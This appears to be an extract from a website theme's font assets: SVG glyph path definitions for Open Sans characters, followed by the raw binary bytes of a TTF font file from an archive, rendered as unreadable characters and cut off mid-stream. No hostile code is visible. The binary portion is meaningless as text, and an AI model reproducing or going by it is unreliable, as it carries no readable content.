<glyph unicode="&#xf1;" horiz-adv-x="1208" d="M47 0l236 1106h184l-21 -205h9q83 118 171 171.5t191 53.5q134 0 207.5 -76t73.5 -216q0 -69 -23 -181l-137 -653h-236l142 672q18 90 18 131q0 131 -129 131q-72 0 -142 -57t-126 -164.5t-84 -243.5l-98 -469h-236zM363 1239q57 285 256 285q46 0 85 -17.5t72.5 -38 t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xf2;" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5zM444 1548v21h245q47 -154 132 -303v-25h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5zM580 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xf4;" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5zM341 1241v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xf5;" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5zM328 1239q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#xf6;" horiz-adv-x="1174" d="M94 408q0 199 71.5 365t200.5 258.5t298 92.5q195 0 305 -116t110 -316q0 -202 -73 -367.5t-200.5 -254t-293.5 -88.5q-192 0 -305 114.5t-113 311.5zM332 403q0 -111 49.5 -170t146.5 -59q90 0 162 68t112 190.5t40 269.5q0 107 -49 167.5t-140 60.5q-93 0 -166.5 -71.5 t-114 -194t-40.5 -261.5zM409 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM792 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xf7;" d="M117 631v180h936v-180h-936zM459 373q0 64 31.5 99.5t93.5 35.5t94.5 -36t32.5 -99q0 -64 -34.5 -100.5t-92.5 -36.5t-91.5 35.5t-33.5 101.5zM459 1071q0 64 31.5 99.5t93.5 35.5t94.5 -36t32.5 -99q0 -64 -34.5 -100.5t-92.5 -36.5t-91.5 35.5t-33.5 101.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1174" d="M51 6l115 141q-70 104 -70 261q0 200 70.5 365t199.5 258t298 93q136 0 239 -61l86 108l125 -96l-100 -117q63 -100 63 -258q0 -208 -74 -376t-200.5 -255t-288.5 -87q-137 0 -235 59l-105 -131zM324 426q0 -39 8 -74l442 549q-45 35 -121 35q-141 0 -235 -145.5 t-94 -364.5zM408 201q41 -33 120 -33q89 0 163 66.5t116.5 184t42.5 257.5q0 45 -6 67z" />
<glyph unicode="&#xf9;" horiz-adv-x="1208" d="M111 274q0 63 12 124.5t24 123.5l123 584h236l-129 -610q-31 -141 -31 -193q0 -133 127 -133q72 0 143 57t126 162.5t85 247.5l99 469h233l-233 -1106h-185l21 205h-8q-82 -116 -171 -170.5t-192 -54.5q-134 0 -207 76t-73 218zM446 1548v21h245q47 -154 132 -303v-25 h-144q-65 63 -132 151.5t-101 155.5z" />
<glyph unicode="&#xfa;" horiz-adv-x="1208" d="M111 274q0 63 12 124.5t24 123.5l123 584h236l-129 -610q-31 -141 -31 -193q0 -133 127 -133q72 0 143 57t126 162.5t85 247.5l99 469h233l-233 -1106h-185l21 205h-8q-82 -116 -171 -170.5t-192 -54.5q-134 0 -207 76t-73 218zM623 1241v25q97 108 225 303h264v-19 q-54 -66 -158 -161.5t-175 -147.5h-156z" />
<glyph unicode="&#xfb;" horiz-adv-x="1208" d="M111 274q0 63 12 124.5t24 123.5l123 584h236l-129 -610q-31 -141 -31 -193q0 -133 127 -133q72 0 143 57t126 162.5t85 247.5l99 469h233l-233 -1106h-185l21 205h-8q-82 -116 -171 -170.5t-192 -54.5q-134 0 -207 76t-73 218zM370 1241v25q138 128 201 195.5t90 107.5 h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#xfc;" horiz-adv-x="1208" d="M111 274q0 63 12 124.5t24 123.5l123 584h236l-129 -610q-31 -141 -31 -193q0 -133 127 -133q72 0 143 57t126 162.5t85 247.5l99 469h233l-233 -1106h-185l21 205h-8q-82 -116 -171 -170.5t-192 -54.5q-134 0 -207 76t-73 218zM432 1380q0 60 35 98t98 38 q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM815 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#xfd;" horiz-adv-x="1004" d="M-170 -285q75 -16 125 -16q74 0 134 43.5t124 155.5l51 92l-164 1116h232l63 -531q9 -62 16 -174.5t7 -181.5h6q86 215 135 313l293 574h254l-688 -1280q-90 -165 -196 -241.5t-249 -76.5q-76 0 -143 19v188zM501 1241v25q97 108 225 303h264v-19q-54 -66 -158 -161.5 t-175 -147.5h-156z" />
<glyph unicode="&#xfe;" horiz-adv-x="1200" d="M-55 -492l432 2048h235q-48 -223 -73 -339t-76 -291h8q155 200 328 200q144 0 224.5 -102t80.5 -287q0 -204 -68 -381.5t-184.5 -276.5t-265.5 -99q-94 0 -165 45.5t-114 130.5h-8q-7 -91 -25 -185l-96 -463h-233zM369 373q0 -98 46 -150.5t132 -52.5t159.5 77t116.5 209 t43 277q0 100 -41 150.5t-118 50.5q-84 0 -163 -81t-127 -213.5t-48 -266.5z" />
<glyph unicode="&#xff;" horiz-adv-x="1004" d="M-170 -285q75 -16 125 -16q74 0 134 43.5t124 155.5l51 92l-164 1116h232l63 -531q9 -62 16 -174.5t7 -181.5h6q86 215 135 313l293 574h254l-688 -1280q-90 -165 -196 -241.5t-249 -76.5q-76 0 -143 19v188zM323 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5 q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM706 1380q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#x131;" horiz-adv-x="563" d="M47 0l236 1106h235l-235 -1106h-236z" />
<glyph unicode="&#x152;" horiz-adv-x="1798" d="M135 543q0 267 98.5 487.5t269.5 337.5t388 117q145 0 223 -23h760l-43 -205h-539l-84 -395h504l-43 -200h-504l-96 -459h539l-43 -203h-717q-84 -20 -170 -20q-259 0 -401 149.5t-142 413.5zM383 545q0 -173 81.5 -267t227.5 -94q74 0 139 27l222 1038q-68 31 -181 31 q-138 0 -250 -96t-175.5 -266.5t-63.5 -372.5z" />
<glyph unicode="&#x153;" horiz-adv-x="1788" d="M94 410q0 206 73.5 372.5t201 254t293.5 87.5q237 0 335 -192q73 91 174 142.5t226 51.5q159 0 246.5 -74.5t87.5 -203.5q0 -183 -165.5 -285t-471.5 -102h-47l-3 -60q0 -111 56.5 -174t169.5 -63q69 0 134.5 17.5t176.5 66.5v-189q-91 -43 -175 -61t-181 -18 q-120 0 -212.5 46t-140.5 138q-137 -182 -374 -182q-186 0 -295 115.5t-109 312.5zM332 412q0 -116 48.5 -177t139.5 -61q143 0 229.5 146.5t86.5 381.5q0 111 -49.5 169.5t-139.5 58.5q-87 0 -157.5 -64t-114 -186.5t-43.5 -267.5zM1073 633h31q189 0 294 54t105 155 q0 48 -30 76t-87 28q-105 0 -192 -85.5t-121 -227.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1092" d="M186 1462h242l154 -669l432 669h266l-623 -913l-114 -549h-238l119 553zM440 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102t-93.5 -37q-47 0 -78 23.5t-31 74.5zM823 1718q0 60 35 98t98 38q48 0 76.5 -23.5t28.5 -71.5q0 -65 -35.5 -102 t-93.5 -37q-47 0 -78 23.5t-31 74.5z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1135" d="M354 1241v25q138 128 201 195.5t90 107.5h248q38 -99 174 -303v-25h-152q-76 63 -161 178q-131 -110 -236 -178h-164z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M541 1464q0 103 65 164.5t168 61.5q104 0 171 -60.5t67 -163.5q0 -104 -66 -165.5t-172 -61.5t-169.5 61t-63.5 164zM670 1464q0 -49 26.5 -76.5t77.5 -27.5q47 0 77 27.5t30 76.5q0 50 -30 78.5t-77 28.5q-45 0 -74.5 -28.5t-29.5 -78.5z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1135" d="M326 1239q57 285 256 285q46 0 85 -17.5t72.5 -38t63.5 -38t59 -17.5q40 0 65 26.5t48 86.5h137q-66 -285 -260 -285q-45 0 -82.5 17t-71.5 37.5t-65.5 37.5t-63.5 17q-38 0 -63 -27.5t-43 -83.5h-137z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="649" d="M47 446l45 203h502l-45 -203h-502z" />
<glyph unicode="&#x2011;" horiz-adv-x="649" d="M47 446l45 203h502l-45 -203h-502z" />
<glyph unicode="&#x2012;" horiz-adv-x="649" d="M47 446l45 203h502l-45 -203h-502z" />
<glyph unicode="&#x2013;" horiz-adv-x="983" d="M47 453l43 194h838l-43 -194h-838z" />
<glyph unicode="&#x2014;" horiz-adv-x="1966" d="M47 453l43 194h1821l-43 -194h-1821z" />
<glyph unicode="&#x2018;" horiz-adv-x="393" d="M119 983q34 76 106.5 209t159.5 270h176q-122 -286 -199 -501h-237z" />
<glyph unicode="&#x2019;" horiz-adv-x="393" d="M115 961q43 95 106 255t92 246h238l8 -22q-37 -83 -110.5 -217.5t-155.5 -261.5h-178z" />
<glyph unicode="&#x201a;" horiz-adv-x="530" d="M-102 -264q105 238 200 502h236l8 -23q-108 -233 -266 -479h-178z" />
<glyph unicode="&#x201c;" horiz-adv-x="803" d="M119 983q34 76 106.5 209t159.5 270h176q-122 -286 -199 -501h-237zM526 983q84 190 267 479h176q-122 -286 -199 -501h-235z" />
<glyph unicode="&#x201d;" horiz-adv-x="803" d="M115 961q43 95 106 255t92 246h238l8 -22q-37 -83 -110.5 -217.5t-155.5 -261.5h-178zM522 961q51 114 109 261t90 240h237l9 -22q-98 -220 -269 -479h-176z" />
<glyph unicode="&#x201e;" horiz-adv-x="938" d="M-102 -264q105 238 200 502h236l8 -23q-108 -233 -266 -479h-178zM307 -264q120 281 199 502h235l9 -23q-92 -206 -267 -479h-176z" />
<glyph unicode="&#x2022;" horiz-adv-x="756" d="M152 684q0 156 83.5 252t223.5 96q100 0 158.5 -54.5t58.5 -168.5q0 -156 -82 -252t-227 -96q-102 0 -158.5 57.5t-56.5 165.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1634" d="M834 94q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5zM594 94q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5zM293 94 q0 83 47 132.5t131 49.5q56 0 89.5 -31.5t33.5 -92.5q0 -78 -47.5 -129.5t-124.5 -51.5q-66 0 -97.5 35.5t-31.5 87.5z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="621" d="M80 549v24l395 422l135 -118l-288 -334l153 -367l-178 -76z" />
<glyph unicode="&#x203a;" horiz-adv-x="621" d="M10 211l289 334l-154 366l179 76l217 -448v-25l-396 -422z" />
<glyph unicode="&#x2044;" horiz-adv-x="262" d="M-510 0l1085 1462h195l-1083 -1462h-197z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="745" d="M70 762l26 137l477 569h197l-121 -563h123l-29 -143h-122l-39 -176h-183l39 176h-368zM268 905h199l52 221l34 129q-32 -51 -98 -131z" />
<glyph unicode="&#x20ac;" d="M51 492l33 155h139q15 95 27 139h-137l32 154h148q92 260 255.5 401.5t371.5 141.5q88 0 164.5 -22t156.5 -77l-102 -180q-54 34 -107 56t-119 22q-118 0 -214.5 -87t-161.5 -255h387l-33 -154h-402q-18 -67 -28 -139h340l-33 -155h-319q0 -161 60.5 -234.5t195.5 -73.5 q120 0 258 60v-203q-129 -61 -306 -61q-216 0 -330 130t-114 382h-162z" />
<glyph unicode="&#x2122;" horiz-adv-x="1534" d="M113 1335v127h540v-127h-198v-594h-146v594h-196zM709 741v721h215l170 -534l182 534h205v-721h-146v418l4 121h-6l-184 -539h-119l-178 539h-6l4 -115v-424h-141z" />
<glyph unicode="&#xe000;" horiz-adv-x="1105" d="M0 1105h1105v-1105h-1105v1105z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1257" d="M-225 -279q64 -20 114 -20q134 0 177 205l217 1022h-179l21 106l194 76l21 92q44 198 134.5 281.5t256.5 83.5q115 0 211 -43l-61 -176q-74 28 -136 28q-69 0 -110.5 -43t-63.5 -141l-18 -86h229l-37 -178h-229l-223 -1053q-40 -189 -131 -278t-238 -89q-90 0 -149 23 v190zM739 0l236 1106h235l-235 -1106h-236zM1022 1378q0 68 39 110t110 42q53 0 86 -26.5t33 -80.5q0 -71 -40 -112t-105 -41q-53 0 -88 26t-35 82z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1257" d="M-225 -279q64 -20 114 -20q134 0 177 205l217 1022h-179l21 106l194 76l21 92q44 198 134.5 281.5t256.5 83.5q115 0 211 -43l-61 -176q-74 28 -136 28q-69 0 -110.5 -43t-63.5 -141l-18 -86h229l-37 -178h-229l-223 -1053q-40 -189 -131 -278t-238 -89q-90 0 -149 23 v190zM739 0l330 1556h235l-331 -1556h-234z" />
<glyph unicode="&#xfb03;" horiz-adv-x="1931" d="M-225 -279q64 -20 114 -20q133 0 177 205l217 1022h-179l21 106l194 76l21 92q44 198 134.5 281.5t256.5 83.5q115 0 211 -43l-61 -176q-74 28 -136 28q-69 0 -110.5 -43t-63.5 -141l-18 -86h438l23 96q44 197 133 281t256 84q117 0 213 -43l-62 -176q-74 28 -135 28 q-71 0 -111.5 -43t-62.5 -141l-18 -86h229l-39 -178h-227l-223 -1053q-43 -192 -133.5 -279.5t-235.5 -87.5q-95 0 -149 23v190q60 -20 114 -20q136 0 176 205l215 1022h-438l-223 -1053q-40 -189 -131 -278t-238 -89q-90 0 -149 23v190zM1415 0l236 1106h233l-235 -1106 h-234zM1698 1378q0 68 39 110t108 42q54 0 86.5 -26.5t32.5 -80.5q0 -71 -39.5 -112t-105.5 -41q-51 0 -86 26t-35 82z" />
<glyph unicode="&#xfb04;" horiz-adv-x="1931" d="M-225 -279q64 -20 114 -20q133 0 177 205l217 1022h-179l21 106l194 76l21 92q44 198 134.5 281.5t256.5 83.5q115 0 211 -43l-61 -176q-74 28 -136 28q-69 0 -110.5 -43t-63.5 -141l-18 -86h438l23 96q44 197 133 281t256 84q117 0 213 -43l-62 -176q-74 28 -135 28 q-71 0 -111.5 -43t-62.5 -141l-18 -86h229l-39 -178h-227l-223 -1053q-43 -192 -133.5 -279.5t-235.5 -87.5q-95 0 -149 23v190q60 -20 114 -20q136 0 176 205l215 1022h-438l-223 -1053q-40 -189 -131 -278t-238 -89q-90 0 -149 23v190zM1413 0l332 1556h233l-329 -1556 h-236z" />
</font>
</defs></svg> PK!'�C�@�@�@bluetheme/assets/fonts/OpenSans/OpenSans-LightItalic-webfont.ttfnu&1i�FFTM_��)GDEF( OS/2�ᕴH`cmap�]l���cvt u
4�4fpgm�/��egasp8glyf$|�?@s�head�Ů
z6hhea(�zT$hmtx�|J�zx�loca67�~4�maxp�� name)8D��4�posta���� �prep�OV�.ɉo1��������,�3�3�f��@ [(1ASC ����X �?� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�?�^AQVZbl�gLR\`bgm��TdNX�,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�0�+�
�+�
��/�ֱ��+��	+013!%!!�I�y����Jh�P����	
Q�+��+�/�ִ+�
2��

+�
/��+��+�
�99��
90174632#"3P2,B2+Cj�w��98AH5E�=�����2�+�3�+�2�/�ִ+�	+��99013!3�P�
O������RJ�6�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ֱ��+�2��2��+��!+�6�=Q�+
�=X��+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@017!!7!3!3!!!!#!#7!!R+w��7�Z�m�V���v/���Z����X�nkx���O�P�:�:P�rO�=�=�O����!!(/S�/�3��)2�
+�@	+�2�&/�3��2�0/�	ֱ"�"	+��"�
+���,+��1+�6�>��+
��
������
+�>��+�
+�
+��+�+�>��+�+�+��
+�>��+�%
+�&
+��)+�>��+�/+�
 � �#9�%9�/9�9�
%/......@%&)/............�@��99�&�	$9��901753.546?3&'#7.>54&'�A�HnnV/ӧ)P)��#n�m|a2ݻ5R3O��Jdf����`m�^"'5LcC����?N=	��<ObB���� _Ne.�	��^�tLk,�����,9��
+�!
*+�0�+�+��


+�
�#6

+�#��:/�ֱ��+���+�-�-�3+�&�;+��
9��
999�3-�*#999�&�9�
0�-99��&399�#6�99��99014632#"&332654&#"4632#"&73254&#"�h�k�d�opxDon��XRHT�LHNO�R�h�kyod�opxVRH��HNP�P^�0���М��6��Jdst��ml����+�0�����М��ttM�ml���N���*5n�+�+�#�3/�	��6/�ֱ � �+�+�+�0+��7+�+�#99�0�	&'$9��999�3#�'-$901467'&54632>73#'#"&73267>54&#"N��)Nʣ��R��JI}of��{�y��b��l�w����G5m˙qY}�D��dC�{����U�vO�1K�U����l`��w�Uh�Oo�̈́�Y�l[h�����"�+�+�/�ִ+�+013�P����h�����+�/�ֱ�
+013#h�i���P�WD
��������d�����+�
/�ֱ	�+014'3��9FP������IG�$������������s� �/�
��/�+��$9017%%'�'�/ym��`�s���N>�f���kk�o%���N>�)�R�/�3�	�2�
+�@
	+�
+�@	+�/�
ְ2�	�2�	

+�@		+�
	
+�@
	+�
+015!3!!#��e��oe�d��ld�p������ �/�	+�	/�ִ+�
+01673ZO|o"�P���\\��hR�-P!�/����/�ִ	+�+017!R��ZZR����	/�+��+���
/�ִ+�+�+0174632#"R2,B2*D78AH5E��;�#3d/p����J���3�B�+��/���/�ֱ��+��+��99��9901463 
#"&3264&#"�Y�ׅTR�؆��g}���zw��ׄ����+�h��������PbR�
w�+�3�+�3�/�ֱ�+�6�>��+
�������>{�$+��+� � �#9�..�...�@��
901	3#67b�Z��i�7*C���J\�$2�'-�2�+��+�	��/�ֱ�+�	�$90137>54&#"'632!'�ƬQ����6�֭�W����h��Ǯ]p��I���n���`7���(]�&+��+��
&
+���)/�ֱ"�"�+��*+�&�9�
�"99��99��999017532654&+732654&#"'>32#"&7���ղ�un�}��1T�r��Դu���`�5eV����`��rz�KCK��������b)D�
��	+�3�+�3�	
+�33��
22�/�	ֱ�+�6�>���+
�	������+�+�	�
	+�	+�>~�3+�
	+�	+�
	 � �#9�9�
...�

........�@��90173!!#%!7#qv�	��P`P��COP.B?s`�X��sXq{�[KX��3�r�+��
+��	

+���/�ֱ�+�6�=}�?+
�
.�������..�
....�@��9�	�999017532654&#"'!!632!"&X���񪌅nB�p��bu����T�3kZ�nj�)1�`��̱��(���V�(j�+��+�	�$
+���)/�ֱ��!+��*+�!�999��	99�$�
$9�	�9��901$32&#"3>32#"&732>54&#"��I�{;VT�ID�s��xޒ��d��p�[��Q�p,��Z����^bɶ����Ĥ�u�~��?ow���"�+�+���/�+��9013!7!��Z��V`n��b��B�$0d�+��./�	��1/�ֱ��+�%�%�+���++��2+�%�	"(.$9�.�"($901467.54632#"&732654&'>54&#"b��dX䱣��ɂxtי��g����|�ڿ�St���}��F��NH�d�Ԫ���LN�tt�i������h�HI��[�J>�|m�s��#�&c�+�� ���+�#�
+���'/�ֱ�� +��(+��9� �999�#�$901753 ##"&54>32#"32>54&#"sWiڙ�㢺wޒ�����r~�}S�m,��p�ZZ��ҳ�������‘�Anvu��u�f���V	G�+��/�
��/�
ִ+�
+�+�/�+�+��
990174632#"4632#"f3,A3)D�3+B2*D78AH7C�9@H7D����V'�/���/�	ִ+�+�	�99016734632#"5O|o#�I�3+B2*D���\`��[�9@H7D��5	����!�J�g�q��k��/��/�	�/�	��/�	+015!5!���y��bb�dd�=�5	5�!���k^�g�)J���s�	%j�+��
+�#��&/�ֱ�2��+�/�� +��'+��
%999��9� �
#$9�#�
%$90174632#">32#7>7>54&#"�2,B1+DU�e����U_3\jhvr;�s��;8AG6En1:���w=__`��IT{�Kl|e}�H��9F��3+�6/�1�/�3�=�"2�C/��*/���G/�ֱ.�.�+�:�:�+���&+��H+�6�=��+
�@�A������@A....�@A....�@�:�*16C$9��9�&�34999�16�49�C=�&$901$!2#"&5##"&54>3232>54.#"!27#"$%3267&#"}����p�qbq6�Zp�~�z�T'EBV�W����6�����˨�QIe�-NBIq�f���箳�ߥnYaf�����4�ŌQGQ�����y��RZR�9�\e��!v�����y�+�33�+�3�
+�	3��2�/�ֱ�+�6�����+
��
�����
�
+�	
+�
.�	
....�@��901#3#!	!&'o6C�iE���R�'E��D��d#�?�f��!��+��+�!�
+���"/�ֱ�+��#+�6�>��+
�.�!.��	��!�	���!+�!+�!......�@��9��	99�!�9013!2#%!2654&#!7!2654&#!f6{�ɴ�}���V�ٴ����֜���������z��Z����Z��w{�����A�+��+��+�
��/�ֱ�+�
�999��901$32.#"327#"��hޱ�-7�D�˵�ό������
��DZ"�p���3^1"f�	Z�+�
�+���/�ֱ�+�6�>��+
�.�.��
	���	��
....�@�
�9013! #'32$5!#f61!������Q��$�����_�Z�j��fs�i�+�	�+��
+���/�
+�6�>��+
�.�.��		���	��	�	+�	+�	......�@013!!!!!f6���uN���s�^��^��^f`�	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!f6����:�lj�^��_�s���=�~�+��+��
+�3��2�/�ֱ�+�6�>y�+
�.�������..�....�@��99��9��901$32.#"327!7!# ��e�q�^&n�X��ʲ�ԛ�u���������#	��&(^. �|��/Z�VI$f\���+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>��+
�>���+
��+��+�	+��
+�	
....�@0133!3#!f6f���d��d�����w��J�1f��?�+�3�+�3�/�ֱ��+��+�6�>���+
�@0133f6b����J������
W�+�3�/��
��/�ֱ�+�6�>��@+
�������..�..�@��90173273#"&��9P�15i��#��0P��\��-��f��+�33�+�33�
/�ֱ��+��+�6�>��+
�>���+��+�+� � �#9�9�..�..�@��
9013373	#f6f�����Eso������-yZ�������fN�E�+��+�3�/�ֱ�+�6�>��+
�������..�@0133!f6f��m���`mw���+�$3�+�33�/�ֱ��+��+�6�>���+
����������+
�.�������>��+
�������>��+��	+�	 � �#9�	.....@		.........�@��
99013333#7###m5��ݖ��e�O��3�:����J�qN��D���ffb���+�	33�+�33�/�ֱ��+��+�6�>��+
�������>��+
�����	��>��4+��
+�+�
 � �#9�9�
....�	
......�@��9901333673##f6P
3�^��V��2�����n�J�������{�
D�+��+���/�ֱ��+��+��99��9901$32#"32$54&#"��D�������h�ҩ��ή��/����;�*'�������vfy�	s�+�	3�+��

+���/�ֱ	�	�+��+�6�>��+
����	���	+�
	+�
....�@�
�9013!2!#3265!#f6;���Ɂ�����������������{�M�+��+��� /�ֱ��+��!+��$9��9��9901$32#"32$54&#"��D�����J���h�ҩ��ή��/�����l�-��L*'�������vfy�
��+�	
33�+��
+���/�ֱ
�
�+��+�6�>��+
����
���
+�
+�....�@�
�	99��9��9013! #!3265!#f6/�ϲ�o����������������8y��տ�%���)X�'+��+���*/�ֱ��+�#�++�� '$9�'�9��#$9��9017532654.'.54>32.#"#"&%����"GoL�wvԃc�W B�O��b��w;��X�7m\��=WFB*L�vv�c#+^(.��g�BOf|U~�d"���J�+�3�+��22�/�ֱ�	+�6�>���+
�������..�@017!!#���H��f!X^^��X���s���+�	�+�
333�/�ֱ��+���
+��+�6�>��+
�������>��+
�
������....�....�@�
�	99�	�901473!2673# ��g�V��.�e�:���H}Svp�}Y_����/������a�+�+�33�/�ֱ�
+�6��{�-+
�������+� � �#9�..�...�@0133673#�du	3I<u��X��Jٔo�,�J�;�>�+�3�+�33�/�ֱ�+�
�2� +��99901336733>3#&57##�d/UU�i=?�l����NNF��R����V�t�����V����$��3�M/L����y}�&�+�3�+�3�/�
+��
9901#	33	#�`��j��w��k�������r�1���Z���w�+�3�+�33�	/�ֱ��+��
+�6����+
�������>��9+
��������...�...�@0133#�d� u��liw���1�\��!����	.�+��+���
/�+��9��901#7!7!!-�w��\�^X�^�����I�+��/���/�	+�6�>��+
�.�.�������....�@01!!!9x�����J���Z��[��?�+�3�+�3�/�ֱ��+��+�6����+
�@013#�V�R��J�P��u�U�+�3��2�/�3��2�/�	+�6�>��+
�.�.��	���	��....�@017!!7!�JT�������[EZ�F9���+�/�ֱ�+013#FK[i�9��v)���J����3�/����/�+017!�'��VV���!%�/�
+�	/�ֱ�
+��90153#.�s.vB2���4�f��7P!��+�
3�+��+�	3�+���"/�ֱ��+�
�#+�6�>���+
����
�	��>��+��+� � �#9�.�	...�@��$9�
�
9��
$9014632373### 32>54.#"f����/;P�R-TΆ��gdeY��J4fL|Ȁb�f���������|�WO}I���L��"��+�3�+��+���#/�ֱ��+���+�
�$+�6�>���+
�������>��C+�+�+� � �#9�9�....�..�@��999��9��999��
99901333>3 #"&'#32654&#"LG_�]�}���q�7p�f|Ȁbf[��F��{�������vk�Z���D���{�f���P=�+��+�	��/�ֱ
�+��9�	�999��9014632&#"3267#"&f����kko��v��GyGt�����Q�+Z/��ޯ��!\9�f�����+�3�+��+��� /�ֱ��+���	+�
�!+�6�>��+
��	���
��>��a+��	+�
	+�	+�
	 � �#9�9�9�	

.....�
...�@��$9��9�	�99��999014632363### 32>54&#"f����1�c��R-����g�Y��H{k|Ȁb�b��B]�������}�T~����f��}P a�+��+��
+���!/�ֱ
�
�+��"+�
